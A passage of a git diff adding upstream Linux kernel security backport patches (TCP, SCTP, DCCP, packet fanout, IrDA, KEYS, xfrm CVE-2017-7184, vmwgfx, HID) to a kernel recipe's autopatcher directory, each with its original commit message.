sk_buff *skb, struct inet6_skb_parm *opt, +- u8 type, u8 code, int offset, __be32 info) ++ u8 type, u8 code, int offset, __be32 info) + { +- const struct ipv6hdr *ipv6h = (const struct ipv6hdr *)skb->data; +- __be16 *p = (__be16 *)(skb->data + offset); +- int grehlen = offset + 4; ++ const struct gre_base_hdr *greh; ++ const struct ipv6hdr *ipv6h; ++ int grehlen = sizeof(*greh); + struct ip6_tnl *t; ++ int key_off = 0; + __be16 flags; ++ __be32 key; + +- flags = p[0]; +- if (flags&(GRE_CSUM|GRE_KEY|GRE_SEQ|GRE_ROUTING|GRE_VERSION)) { +- if (flags&(GRE_VERSION|GRE_ROUTING)) +- return; +- if (flags&GRE_KEY) { +- grehlen += 4; +- if (flags&GRE_CSUM) +- grehlen += 4; +- } ++ if (!pskb_may_pull(skb, offset + grehlen)) ++ return; ++ greh = (const struct gre_base_hdr *)(skb->data + offset); ++ flags = greh->flags; ++ if (flags & (GRE_VERSION | GRE_ROUTING)) ++ return; ++ if (flags & GRE_CSUM) ++ grehlen += 4; ++ if (flags & GRE_KEY) { ++ key_off = grehlen + offset; ++ grehlen += 4; + } + +- /* If only 8 bytes returned, keyed message will be dropped here */ +- if (!pskb_may_pull(skb, grehlen)) ++ if (!pskb_may_pull(skb, offset + grehlen)) + return; + ipv6h = (const struct ipv6hdr *)skb->data; +- p = (__be16 *)(skb->data + offset); ++ greh = (const struct gre_base_hdr *)(skb->data + offset); ++ key = key_off ? *(__be32 *)(skb->data + key_off) : 0; + + t = ip6gre_tunnel_lookup(skb->dev, &ipv6h->daddr, &ipv6h->saddr, +- flags & GRE_KEY ? +- *(((__be32 *)p) + (grehlen / 4) - 1) : 0, +- p[1]); ++ key, greh->protocol); + if (t == NULL) + return; + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0356-b7b89be8d4ab-PATCH tcp remove BUGON in tcpcheckreq.patch b/recipes-kernel/linux/linux-bass/autopatcher/0356-b7b89be8d4ab-PATCH tcp remove BUGON in tcpcheckreq.patch new file mode 100644 index 0000000..7a08c66 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0356-b7b89be8d4ab-PATCH tcp remove BUGON in tcpcheckreq.patch @@ -0,0 +1,25 @@ +From b7b89be8d4ab0c5e6eb0cdfb1108af08a1cd088f Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Fri, 02 Oct 2015 11:43:29 -0700 +Subject: [PATCH] tcp: remove BUG_ON() in tcp_check_req() + +Once listener is lockless, its sk_state can change anytime. + +Change-Id: I3a8c4aa4974294b865d79ea997df4c8cee5ffbc2 +Signed-off-by: Eric Dumazet +Signed-off-by: David S. Miller +--- + +diff --git a/net/ipv4/tcp_minisocks.c b/net/ipv4/tcp_minisocks.c +index 0f01788..28f72aa 100644 +--- a/net/ipv4/tcp_minisocks.c ++++ b/net/ipv4/tcp_minisocks.c +@@ -511,8 +511,6 @@ + __be32 flg = tcp_flag_word(th) & (TCP_FLAG_RST|TCP_FLAG_SYN|TCP_FLAG_ACK); + bool paws_reject = false; + +- BUG_ON(fastopen == (sk->sk_state == TCP_LISTEN)); +- + tmp_opt.saw_tstamp = 0; + if (th->doff > (sizeof(struct tcphdr)>>2)) { + tcp_parse_options(skb, &tmp_opt, 0, NULL); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0357-1f7cb732afed-sctp avoid BUGON on sctpwaitforsndbuf.patch b/recipes-kernel/linux/linux-bass/autopatcher/0357-1f7cb732afed-sctp avoid BUGON on sctpwaitforsndbuf.patch new file mode 100644 index 0000000..88b02de --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0357-1f7cb732afed-sctp avoid BUGON on sctpwaitforsndbuf.patch @@ -0,0 +1,42 @@ +From 1f7cb732afeda60fb18012a79759400f611ab31f Mon Sep 17 00:00:00 2001 +From: Marcelo Ricardo Leitner +Date: Mon, 6 Feb 2017 18:10:31 -0200 +Subject: sctp: avoid BUG_ON on sctp_wait_for_sndbuf + +commit 2dcab598484185dea7ec22219c76dcdd59e3cb90 upstream. + +Alexander Popov reported that an application may trigger a BUG_ON in +sctp_wait_for_sndbuf if the socket tx buffer is full, a thread is +waiting on it to queue more data and meanwhile another thread peels off +the association being used by the first thread. + +This patch replaces the BUG_ON call with a proper error handling. It +will return -EPIPE to the original sendmsg call, similarly to what would +have been done if the association wasn't found in the first place. + +Acked-by: Alexander Popov +Signed-off-by: Marcelo Ricardo Leitner +Reviewed-by: Xin Long +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +--- + net/sctp/socket.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/net/sctp/socket.c b/net/sctp/socket.c +index ede7c540ea24..152ab4be820c 100644 +--- a/net/sctp/socket.c ++++ b/net/sctp/socket.c +@@ -6724,7 +6724,8 @@ static int sctp_wait_for_sndbuf(struct sctp_association *asoc, long *timeo_p, + */ + sctp_release_sock(sk); + current_timeo = schedule_timeout(current_timeo); +- BUG_ON(sk != asoc->base.sk); ++ if (sk != asoc->base.sk) ++ goto do_error; + sctp_lock_sock(sk); + + *timeo_p = current_timeo; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0358-4155279174e8-dccp fix freeing skb too early for IPV6RECVPKTINFO.patch b/recipes-kernel/linux/linux-bass/autopatcher/0358-4155279174e8-dccp fix freeing skb too early for IPV6RECVPKTINFO.patch new file mode 100644 index 0000000..620bce1 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0358-4155279174e8-dccp fix freeing skb too early for IPV6RECVPKTINFO.patch @@ -0,0 +1,50 @@ +From 4155279174e8cbe4d06b256e4e66b5491a897e5e Mon Sep 17 00:00:00 2001 +From: Andrey Konovalov +Date: Thu, 16 Feb 2017 17:22:46 +0100 +Subject: dccp: fix freeing skb too early for IPV6_RECVPKTINFO + +[ Upstream commit 5edabca9d4cff7f1f2b68f0bac55ef99d9798ba4 ] + +In the current DCCP implementation an skb for a DCCP_PKT_REQUEST packet +is forcibly freed via __kfree_skb in dccp_rcv_state_process if +dccp_v6_conn_request successfully returns. + +However, if IPV6_RECVPKTINFO is set on a socket, the address of the skb +is saved to ireq->pktopts and the ref count for skb is incremented in +dccp_v6_conn_request, so skb is still in use. Nevertheless, it gets freed +in dccp_rcv_state_process. + +Fix by calling consume_skb instead of doing goto discard and therefore +calling __kfree_skb. + +Similar fixes for TCP: + +fb7e2399ec17f1004c0e0ccfd17439f8759ede01 [TCP]: skb is unexpectedly freed. +0aea76d35c9651d55bbaf746e7914e5f9ae5a25d tcp: SYN packets are now +simply consumed + +Signed-off-by: Andrey Konovalov +Acked-by: Eric Dumazet +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +--- + net/dccp/input.c | 3 ++- + 1 file changed, 2 insertions(+), 1 deletion(-) + +diff --git a/net/dccp/input.c b/net/dccp/input.c +index 14cdafad7a90..e511ccc74a07 100644 +--- a/net/dccp/input.c ++++ b/net/dccp/input.c +@@ -606,7 +606,8 @@ int dccp_rcv_state_process(struct sock *sk, struct sk_buff *skb, + if (inet_csk(sk)->icsk_af_ops->conn_request(sk, + skb) < 0) + return 1; +- goto discard; ++ consume_skb(skb); ++ return 0; + } + if (dh->dccph_type == DCCP_PKT_RESET) + goto discard; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0359-452655e76305-tcp avoid infinite loop in tcpspliceread.patch b/recipes-kernel/linux/linux-bass/autopatcher/0359-452655e76305-tcp avoid infinite loop in tcpspliceread.patch new file mode 100644 index 0000000..f690b35 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0359-452655e76305-tcp avoid infinite loop in tcpspliceread.patch @@ -0,0 +1,48 @@ +From 452655e76305e6c55ddfce16041d85ffed5a61c6 Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Fri, 3 Feb 2017 14:59:38 -0800 +Subject: tcp: avoid infinite loop in tcp_splice_read() + +commit ccf7abb93af09ad0868ae9033d1ca8108bdaec82 upstream. + +Splicing from TCP socket is vulnerable when a packet with URG flag is +received and stored into receive queue. + +__tcp_splice_read() returns 0, and sk_wait_data() immediately +returns since there is the problematic skb in queue. + +This is a nice way to burn cpu (aka infinite loop) and trigger +soft lockups. + +Again, this gem was found by syzkaller tool. + +Fixes: 9c55e01c0cc8 ("[TCP]: Splice receive support.") +Signed-off-by: Eric Dumazet +Reported-by: Dmitry Vyukov +Cc: Willy Tarreau +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +--- + net/ipv4/tcp.c | 6 ++++++ + 1 file changed, 6 insertions(+) + +diff --git a/net/ipv4/tcp.c b/net/ipv4/tcp.c +index 5d4bd6ca3ab1..d1e04221c275 100644 +--- a/net/ipv4/tcp.c ++++ b/net/ipv4/tcp.c +@@ -723,6 +723,12 @@ ssize_t tcp_splice_read(struct socket *sock, loff_t *ppos, + ret = -EAGAIN; + break; + } ++ /* if __tcp_splice_read() got nothing while we have ++ * an skb in receive queue, we do not want to loop. ++ * This might happen with URG data. ++ */ ++ if (!skb_queue_empty(&sk->sk_receive_queue)) ++ break; + sk_wait_data(sk, &timeo); + if (signal_pending(current)) { + ret = sock_intr_errno(timeo); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0360-8b74d439e169-netllc avoid BUGON in skborphan.patch b/recipes-kernel/linux/linux-bass/autopatcher/0360-8b74d439e169-netllc avoid BUGON in skborphan.patch new file mode 100644 index 0000000..aa25e3f --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0360-8b74d439e169-netllc avoid BUGON in skborphan.patch @@ -0,0 +1,58 @@ +From 8b74d439e1697110c5e5c600643e823eb1dd0762 Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Sun, 12 Feb 2017 14:03:52 -0800 +Subject: net/llc: avoid BUG_ON() in skb_orphan() + +It seems nobody used LLC since linux-3.12. + +Fortunately fuzzers like syzkaller still know how to run this code, +otherwise it would be no fun. + +Setting skb->sk without skb->destructor leads to all kinds of +bugs, we now prefer to be very strict about it. + +Ideally here we would use skb_set_owner() but this helper does not exist yet, +only CAN seems to have a private helper for that. + +Fixes: 376c7311bdb6 ("net: add a temporary sanity check in skb_orphan()") +Signed-off-by: Eric Dumazet +Reported-by: Andrey Konovalov +Signed-off-by: David S. Miller +--- + net/llc/llc_conn.c | 3 +++ + net/llc/llc_sap.c | 3 +++ + 2 files changed, 6 insertions(+) + +diff --git a/net/llc/llc_conn.c b/net/llc/llc_conn.c +index 3e821daf9dd4..8bc5a1bd2d45 100644 +--- a/net/llc/llc_conn.c ++++ b/net/llc/llc_conn.c +@@ -821,7 +821,10 @@ void llc_conn_handler(struct llc_sap *sap, struct sk_buff *skb) + * another trick required to cope with how the PROCOM state + * machine works. -acme + */ ++ skb_orphan(skb); ++ sock_hold(sk); + skb->sk = sk; ++ skb->destructor = sock_efree; + } + if (!sock_owned_by_user(sk)) + llc_conn_rcv(sk, skb); +diff --git a/net/llc/llc_sap.c b/net/llc/llc_sap.c +index d0e1e804ebd7..5404d0d195cc 100644 +--- a/net/llc/llc_sap.c ++++ b/net/llc/llc_sap.c +@@ -290,7 +290,10 @@ static void llc_sap_rcv(struct llc_sap *sap, struct sk_buff *skb, + + ev->type = LLC_SAP_EV_TYPE_PDU; + ev->reason = 0; ++ skb_orphan(skb); ++ sock_hold(sk); + skb->sk = sk; ++ skb->destructor = sock_efree; + llc_sap_state_process(sap, skb); + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0361-2a272abc4e54-packet fix races in fanoutadd.patch b/recipes-kernel/linux/linux-bass/autopatcher/0361-2a272abc4e54-packet fix races in fanoutadd.patch new file mode 100644 index 0000000..154f0dd --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0361-2a272abc4e54-packet fix races in fanoutadd.patch @@ -0,0 +1,81 @@ +From 2a272abc4e543f488b3a73292ee75a06f20d077a Mon Sep 17 00:00:00 2001 +From: Eric Dumazet +Date: Tue, 14 Feb 2017 09:03:51 -0800 +Subject: packet: fix races in fanout_add() + +commit d199fab63c11998a602205f7ee7ff7c05c97164b upstream. + +Multiple threads can call fanout_add() at the same time. + +We need to grab fanout_mutex earlier to avoid races that could +lead to one thread freeing po->rollover that was set by another thread. + +Do the same in fanout_release(), for peace of mind, and to help us +finding lockdep issues earlier. + +[js] no rollover in 3.12 + +Fixes: dc99f600698d ("packet: Add fanout support.") +Fixes: 0648ab70afe6 ("packet: rollover prepare: per-socket state") +Signed-off-by: Eric Dumazet +Cc: Willem de Bruijn +Signed-off-by: David S. Miller +Signed-off-by: Jiri Slaby +Signed-off-by: Willy Tarreau +--- + net/packet/af_packet.c | 26 ++++++++++++++------------ + 1 file changed, 14 insertions(+), 12 deletions(-) + +diff --git a/net/packet/af_packet.c b/net/packet/af_packet.c +index e38c69969c33..25ef495506a0 100644 +--- a/net/packet/af_packet.c ++++ b/net/packet/af_packet.c +@@ -1304,13 +1304,16 @@ static int fanout_add(struct sock *sk, u16 id, u16 type_flags) + return -EINVAL; + } + ++ mutex_lock(&fanout_mutex); ++ ++ err = -EINVAL; + if (!po->running) +- return -EINVAL; ++ goto out; + ++ err = -EALREADY; + if (po->fanout) +- return -EALREADY; ++ goto out; + +- mutex_lock(&fanout_mutex); + match = NULL; + list_for_each_entry(f, &fanout_list, list) { + if (f->id == id && +@@ -1366,17 +1369,16 @@ static void fanout_release(struct sock *sk) + struct packet_sock *po = pkt_sk(sk); + struct packet_fanout *f; + +- f = po->fanout; +- if (!f) +- return; +- + mutex_lock(&fanout_mutex); +- po->fanout = NULL; ++ f = po->fanout; ++ if (f) { ++ po->fanout = NULL; + +- if (atomic_dec_and_test(&f->sk_ref)) { +- list_del(&f->list); +- dev_remove_pack(&f->prot_hook); +- kfree(f); ++ if (atomic_dec_and_test(&f->sk_ref)) { ++ list_del(&f->list); ++ dev_remove_pack(&f->prot_hook); ++ kfree(f); ++ } + } + mutex_unlock(&fanout_mutex); + } +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0362-5988be39d31c-irda Fix lockdep annotations in hashbindelete.patch b/recipes-kernel/linux/linux-bass/autopatcher/0362-5988be39d31c-irda Fix lockdep annotations in hashbindelete.patch new file mode 100644 index 0000000..d2c85d4 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0362-5988be39d31c-irda Fix lockdep annotations in hashbindelete.patch @@ -0,0 +1,90 @@ +From 5988be39d31cb1ab9cc21d86254f2082ff8a9d25 Mon Sep 17 00:00:00 2001 +From: "David S. Miller" +Date: Fri, 17 Feb 2017 16:19:39 -0500 +Subject: irda: Fix lockdep annotations in hashbin_delete(). + +commit 4c03b862b12f980456f9de92db6d508a4999b788 upstream. + +A nested lock depth was added to the hasbin_delete() code but it +doesn't actually work some well and results in tons of lockdep splats. + +Fix the code instead to properly drop the lock around the operation +and just keep peeking the head of the hashbin queue. + +Reported-by: Dmitry Vyukov +Tested-by: Dmitry Vyukov +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +--- + net/irda/irqueue.c | 34 ++++++++++++++++------------------ + 1 file changed, 16 insertions(+), 18 deletions(-) + +diff --git a/net/irda/irqueue.c b/net/irda/irqueue.c +index 7152624ed5f18..26ccd65cdcabe 100644 +--- a/net/irda/irqueue.c ++++ b/net/irda/irqueue.c +@@ -385,9 +385,6 @@ EXPORT_SYMBOL(hashbin_new); + * for deallocating this structure if it's complex. If not the user can + * just supply kfree, which should take care of the job. + */ +-#ifdef CONFIG_LOCKDEP +-static int hashbin_lock_depth = 0; +-#endif + int hashbin_delete( hashbin_t* hashbin, FREE_FUNC free_func) + { + irda_queue_t* queue; +@@ -398,22 +395,27 @@ int hashbin_delete( hashbin_t* hashbin, FREE_FUNC free_func) + IRDA_ASSERT(hashbin->magic == HB_MAGIC, return -1;); + + /* Synchronize */ +- if ( hashbin->hb_type & HB_LOCK ) { +- spin_lock_irqsave_nested(&hashbin->hb_spinlock, flags, +- hashbin_lock_depth++); +- } ++ if (hashbin->hb_type & HB_LOCK) ++ spin_lock_irqsave(&hashbin->hb_spinlock, flags); + + /* + * Free the entries in the hashbin, TODO: use hashbin_clear when + * it has been shown to work + */ + for (i = 0; i < HASHBIN_SIZE; i ++ ) { +- queue = dequeue_first((irda_queue_t**) &hashbin->hb_queue[i]); +- while (queue ) { +- if (free_func) +- (*free_func)(queue); +- queue = dequeue_first( +- (irda_queue_t**) &hashbin->hb_queue[i]); ++ while (1) { ++ queue = dequeue_first((irda_queue_t**) &hashbin->hb_queue[i]); ++ ++ if (!queue) ++ break; ++ ++ if (free_func) { ++ if (hashbin->hb_type & HB_LOCK) ++ spin_unlock_irqrestore(&hashbin->hb_spinlock, flags); ++ free_func(queue); ++ if (hashbin->hb_type & HB_LOCK) ++ spin_lock_irqsave(&hashbin->hb_spinlock, flags); ++ } + } + } + +@@ -422,12 +424,8 @@ int hashbin_delete( hashbin_t* hashbin, FREE_FUNC free_func) + hashbin->magic = ~HB_MAGIC; + + /* Release lock */ +- if ( hashbin->hb_type & HB_LOCK) { ++ if (hashbin->hb_type & HB_LOCK) + spin_unlock_irqrestore(&hashbin->hb_spinlock, flags); +-#ifdef CONFIG_LOCKDEP +- hashbin_lock_depth--; +-#endif +- } + + /* + * Free the hashbin structure +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0363-620d73a9b795-sctp deny peeloff operation on asocs with threads sleeping on it.patch b/recipes-kernel/linux/linux-bass/autopatcher/0363-620d73a9b795-sctp deny peeloff operation on asocs with threads sleeping on it.patch new file mode 100644 index 0000000..01573d0 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0363-620d73a9b795-sctp deny peeloff operation on asocs with threads sleeping on it.patch @@ -0,0 +1,68 @@ +From 620d73a9b795eea14c24b743423633fe54d65c98 Mon Sep 17 00:00:00 2001 +From: Marcelo Ricardo Leitner +Date: Thu, 23 Feb 2017 09:31:18 -0300 +Subject: sctp: deny peeloff operation on asocs with threads sleeping on it + +commit dfcb9f4f99f1e9a49e43398a7bfbf56927544af1 upstream. + +commit 2dcab5984841 ("sctp: avoid BUG_ON on sctp_wait_for_sndbuf") +attempted to avoid a BUG_ON call when the association being used for a +sendmsg() is blocked waiting for more sndbuf and another thread did a +peeloff operation on such asoc, moving it to another socket. + +As Ben Hutchings noticed, then in such case it would return without +locking back the socket and would cause two unlocks in a row. + +Further analysis also revealed that it could allow a double free if the +application managed to peeloff the asoc that is created during the +sendmsg call, because then sctp_sendmsg() would try to free the asoc +that was created only for that call. + +This patch takes another approach. It will deny the peeloff operation +if there is a thread sleeping on the asoc, so this situation doesn't +exist anymore. This avoids the issues described above and also honors +the syscalls that are already being handled (it can be multiple sendmsg +calls). + +Joint work with Xin Long. + +Fixes: 2dcab5984841 ("sctp: avoid BUG_ON on sctp_wait_for_sndbuf") +Cc: Alexander Popov +Cc: Ben Hutchings +Signed-off-by: Marcelo Ricardo Leitner +Signed-off-by: Xin Long +Signed-off-by: David S. Miller +Signed-off-by: Willy Tarreau +--- + net/sctp/socket.c | 8 ++++++-- + 1 file changed, 6 insertions(+), 2 deletions(-) + +diff --git a/net/sctp/socket.c b/net/sctp/socket.c +index 152ab4be820c..4178cf387d21 100644 +--- a/net/sctp/socket.c ++++ b/net/sctp/socket.c +@@ -4310,6 +4310,12 @@ int sctp_do_peeloff(struct sock *sk, sctp_assoc_t id, struct socket **sockp) + if (!asoc) + return -EINVAL; + ++ /* If there is a thread waiting on more sndbuf space for ++ * sending on this asoc, it cannot be peeled. ++ */ ++ if (waitqueue_active(&asoc->wait)) ++ return -EBUSY; ++ + /* An association cannot be branched off from an already peeled-off + * socket, nor is this supported for tcp style sockets. + */ +@@ -6724,8 +6730,6 @@ static int sctp_wait_for_sndbuf(struct sctp_association *asoc, long *timeo_p, + */ + sctp_release_sock(sk); + current_timeo = schedule_timeout(current_timeo); +- if (sk != asoc->base.sk) +- goto do_error; + sctp_lock_sock(sk); + + *timeo_p = current_timeo; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0364-44d6e10f7709-KEYS Change the name of the dead type to dead to prevent user.patch b/recipes-kernel/linux/linux-bass/autopatcher/0364-44d6e10f7709-KEYS Change the name of the dead type to dead to prevent user.patch new file mode 100644 index 0000000..c1db7a5 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0364-44d6e10f7709-KEYS Change the name of the dead type to dead to prevent user.patch @@ -0,0 +1,49 @@ +From 44d6e10f77095133e3882529a16b686b2305e6b0 Mon Sep 17 00:00:00 2001 +From: David Howells +Date: Tue, 18 Apr 2017 15:31:08 +0100 +Subject: KEYS: Change the name of the dead type to ".dead" to prevent user + access + +commit c1644fe041ebaf6519f6809146a77c3ead9193af upstream. + +This fixes CVE-2017-6951. + +Userspace should not be able to do things with the "dead" key type as it +doesn't have some of the helper functions set upon it that the kernel +needs. Attempting to use it may cause the kernel to crash. + +Fix this by changing the name of the type to ".dead" so that it's rejected +up front on userspace syscalls by key_get_type_from_user(). + +Though this doesn't seem to affect recent kernels, it does affect older +ones, certainly those prior to: + + commit c06cfb08b88dfbe13be44a69ae2fdc3a7c902d81 + Author: David Howells + Date: Tue Sep 16 17:36:06 2014 +0100 + KEYS: Remove key_type::match in favour of overriding default by match_preparse + +which went in before 3.18-rc1. + +Signed-off-by: David Howells +Signed-off-by: Greg Kroah-Hartman +--- + security/keys/gc.c | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/security/keys/gc.c b/security/keys/gc.c +index addf060399e09..9cb4fe4478a13 100644 +--- a/security/keys/gc.c ++++ b/security/keys/gc.c +@@ -46,7 +46,7 @@ static unsigned long key_gc_flags; + * immediately unlinked. + */ + struct key_type key_type_dead = { +- .name = "dead", ++ .name = ".dead", + }; + + /* +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0365-ccf85441e11a-xfrmuser validate XFRMMSGNEWAE XFRMAREPLAYESNVAL replaywindow.patch b/recipes-kernel/linux/linux-bass/autopatcher/0365-ccf85441e11a-xfrmuser validate XFRMMSGNEWAE XFRMAREPLAYESNVAL replaywindow.patch new file mode 100644 index 0000000..f02768c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0365-ccf85441e11a-xfrmuser validate XFRMMSGNEWAE XFRMAREPLAYESNVAL replaywindow.patch @@ -0,0 +1,51 @@ +From ccf85441e11acf8db050d9dcd5dce61f893c454e Mon Sep 17 00:00:00 2001 +From: Andy Whitcroft +Date: Wed, 22 Mar 2017 07:29:31 +0000 +Subject: xfrm_user: validate XFRM_MSG_NEWAE XFRMA_REPLAY_ESN_VAL replay_window + +commit 677e806da4d916052585301785d847c3b3e6186a upstream. + +When a new xfrm state is created during an XFRM_MSG_NEWSA call we +validate the user supplied replay_esn to ensure that the size is valid +and to ensure that the replay_window size is within the allocated +buffer. However later it is possible to update this replay_esn via a +XFRM_MSG_NEWAE call. There we again validate the size of the supplied +buffer matches the existing state and if so inject the contents. We do +not at this point check that the replay_window is within the allocated +memory. This leads to out-of-bounds reads and writes triggered by +netlink packets. This leads to memory corruption and the potential for +priviledge escalation. + +We already attempt to validate the incoming replay information in +xfrm_new_ae() via xfrm_replay_verify_len(). This confirms that the user +is not trying to change the size of the replay state buffer which +includes the replay_esn. It however does not check the replay_window +remains within that buffer. Add validation of the contained +replay_window. + +CVE-2017-7184 +Signed-off-by: Andy Whitcroft +Acked-by: Steffen Klassert +Signed-off-by: Linus Torvalds +Signed-off-by: Willy Tarreau +--- + net/xfrm/xfrm_user.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/net/xfrm/xfrm_user.c b/net/xfrm/xfrm_user.c +index 7a70a5a5671aa..8b55d42076d2a 100644 +--- a/net/xfrm/xfrm_user.c ++++ b/net/xfrm/xfrm_user.c +@@ -393,6 +393,9 @@ static inline int xfrm_replay_verify_len(struct xfrm_replay_state_esn *replay_es + if (nla_len(rp) < ulen || xfrm_replay_state_esn_len(replay_esn) != ulen) + return -EINVAL; + ++ if (up->replay_window > up->bmp_len * sizeof(__u32) * 8) ++ return -EINVAL; ++ + return 0; + } + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0366-cbd95d10ef82-xfrmuser validate XFRMMSGNEWAE incoming ESN size harder.patch b/recipes-kernel/linux/linux-bass/autopatcher/0366-cbd95d10ef82-xfrmuser validate XFRMMSGNEWAE incoming ESN size harder.patch new file mode 100644 index 0000000..a0be1ba --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0366-cbd95d10ef82-xfrmuser validate XFRMMSGNEWAE incoming ESN size harder.patch @@ -0,0 +1,41 @@ +From cbd95d10ef8248a02864a45f26089553294b155d Mon Sep 17 00:00:00 2001 +From: Andy Whitcroft +Date: Thu, 23 Mar 2017 07:45:44 +0000 +Subject: xfrm_user: validate XFRM_MSG_NEWAE incoming ESN size harder + +commit f843ee6dd019bcece3e74e76ad9df0155655d0df upstream. + +Kees Cook has pointed out that xfrm_replay_state_esn_len() is subject to +wrapping issues. To ensure we are correctly ensuring that the two ESN +structures are the same size compare both the overall size as reported +by xfrm_replay_state_esn_len() and the internal length are the same. + +CVE-2017-7184 +Signed-off-by: Andy Whitcroft +Acked-by: Steffen Klassert +Signed-off-by: Linus Torvalds +Signed-off-by: Willy Tarreau +--- + net/xfrm/xfrm_user.c | 6 +++++- + 1 file changed, 5 insertions(+), 1 deletion(-) + +diff --git a/net/xfrm/xfrm_user.c b/net/xfrm/xfrm_user.c +index 8b55d42076d2a..91a6a2903e8de 100644 +--- a/net/xfrm/xfrm_user.c ++++ b/net/xfrm/xfrm_user.c +@@ -390,7 +390,11 @@ static inline int xfrm_replay_verify_len(struct xfrm_replay_state_esn *replay_es + up = nla_data(rp); + ulen = xfrm_replay_state_esn_len(up); + +- if (nla_len(rp) < ulen || xfrm_replay_state_esn_len(replay_esn) != ulen) ++ /* Check the overall length and the internal bitmap length to avoid ++ * potential overflow. */ ++ if (nla_len(rp) < ulen || ++ xfrm_replay_state_esn_len(replay_esn) != ulen || ++ replay_esn->bmp_len != up->bmp_len) + return -EINVAL; + + if (up->replay_window > up->bmp_len * sizeof(__u32) * 8) +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0367-30cd45a69bc6-drmvmwgfx NULL pointer dereference in vmwsurfacedefineioctl.patch b/recipes-kernel/linux/linux-bass/autopatcher/0367-30cd45a69bc6-drmvmwgfx NULL pointer dereference in vmwsurfacedefineioctl.patch new file mode 100644 index 0000000..c382eb9 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0367-30cd45a69bc6-drmvmwgfx NULL pointer dereference in vmwsurfacedefineioctl.patch @@ -0,0 +1,39 @@ +From 30cd45a69bc69b191b0f6c14b317a6aeb4771439 Mon Sep 17 00:00:00 2001 +From: Murray McAllister +Date: Mon, 27 Mar 2017 11:12:53 +0200 +Subject: drm/vmwgfx: NULL pointer dereference in vmw_surface_define_ioctl() + +commit 36274ab8c596f1240c606bb514da329add2a1bcd upstream. + +Before memory allocations vmw_surface_define_ioctl() checks the +upper-bounds of a user-supplied size, but does not check if the +supplied size is 0. + +Add check to avoid NULL pointer dereferences. + +Signed-off-by: Murray McAllister +Reviewed-by: Sinclair Yeh +Signed-off-by: Jiri Slaby +Signed-off-by: Willy Tarreau +--- + drivers/gpu/drm/vmwgfx/vmwgfx_surface.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/drivers/gpu/drm/vmwgfx/vmwgfx_surface.c b/drivers/gpu/drm/vmwgfx/vmwgfx_surface.c +index 582814339748..a518493836a0 100644 +--- a/drivers/gpu/drm/vmwgfx/vmwgfx_surface.c ++++ b/drivers/gpu/drm/vmwgfx/vmwgfx_surface.c +@@ -680,8 +680,8 @@ int vmw_surface_define_ioctl(struct drm_device *dev, void *data, + for (i = 0; i < DRM_VMW_MAX_SURFACE_FACES; ++i) + num_sizes += req->mip_levels[i]; + +- if (num_sizes > DRM_VMW_MAX_SURFACE_FACES * +- DRM_VMW_MAX_MIP_LEVELS) ++ if (num_sizes > DRM_VMW_MAX_SURFACE_FACES * DRM_VMW_MAX_MIP_LEVELS || ++ num_sizes == 0) + return -EINVAL; + + size = vmw_user_surface_size + 128 + +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0368-a48d5b1570ac-HID hidcypress validate length of report.patch b/recipes-kernel/linux/linux-bass/autopatcher/0368-a48d5b1570ac-HID hidcypress validate length of report.patch new file mode 100644 index 0000000..e8ab0b2 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0368-a48d5b1570ac-HID hidcypress validate length of report.patch @@ -0,0 +1,35 @@ +From a48d5b1570ac6f5fd02028e5a71431d1f7e778db Mon Sep 17 00:00:00 2001 +From: Greg Kroah-Hartman +Date: Fri, 6 Jan 2017 15:33:36 +0100 +Subject: HID: hid-cypress: validate length of report + +commit 1ebb71143758f45dc0fa76e2f48429e13b16d110 upstream. + +Make sure we have enough of a report structure to validate before +looking at it. + +Reported-by: Benoit Camredon +Tested-by: Benoit Camredon +Signed-off-by: Jiri Slaby +Signed-off-by: Willy Tarreau +--- + drivers/hid/hid-cypress.c | 3 +++ + 1 file changed, 3 insertions(+) + +diff --git a/drivers/hid/hid-cypress.c 